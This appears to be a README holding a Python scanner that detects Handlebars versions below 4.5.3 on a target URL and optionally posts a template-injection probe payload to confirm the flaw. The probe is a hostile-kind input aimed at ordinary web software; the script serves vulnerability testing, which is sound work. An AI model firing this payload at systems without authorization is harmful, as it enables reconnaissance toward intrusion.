README.md
Rendering markdown...
import requests
import re
from packaging import version
# Set timeout to avoid hanging requests
TIMEOUT = 5
# Vulnerable version range (below v4.5.3)
VULNERABLE_VERSION = version.parse("4.5.3")
def get_handlebars_version(url):
"""
Fetch the Handlebars version from a URL by scanning for library references.
"""
try:
print(f"[+] Checking {url} for Handlebars...")
response = requests.get(url, timeout=TIMEOUT)
response.raise_for_status() # Raise an error for bad responses
# Search for handlebars.js version pattern in HTML or JS files
version_match = re.search(r"handlebars(?:\.min)?\.js.*?(\d+\.\d+\.\d+)", response.text)
if version_match:
found_version = version_match.group(1)
print(f"[+] Found Handlebars version: {found_version}")
return version.parse(found_version)
print("[-] No Handlebars version found.")
return None
except requests.RequestException as e:
print(f"[!] Error fetching {url}: {str(e)}")
return None
def check_vulnerability(handlebars_ver):
"""
Compare the detected version to see if it is vulnerable.
"""
if handlebars_ver and handlebars_ver < VULNERABLE_VERSION:
print("[!] The detected version is vulnerable!")
elif handlebars_ver:
print("[+] The detected version is not vulnerable.")
else:
print("[-] Could not determine version.")
def inject_payload(url):
"""
Attempt a non-destructive payload to check for injection vulnerability.
"""
payload = "{{#with \"constructor\"}}{{this}}{{/with}}"
try:
print("[+] Testing for injection vulnerability...")
response = requests.post(url, data={'template': payload}, timeout=TIMEOUT)
if "function Function" in response.text:
print("[!] Injection vulnerability confirmed!")
else:
print("[-] No signs of injection vulnerability.")
except requests.RequestException as e:
print(f"[!] Error during payload test: {str(e)}")
def main():
target_url = input("Enter the target URL: ")
# Step 1: Check Handlebars version
handlebars_ver = get_handlebars_version(target_url)
# Step 2: Check if the version is vulnerable
check_vulnerability(handlebars_ver)
# Step 3: Optional payload test
test_injection = input("Do you want to test for injection? (y/n): ").strip().lower()
if test_injection == 'y':
inject_payload(target_url)
if __name__ == "__main__":
main()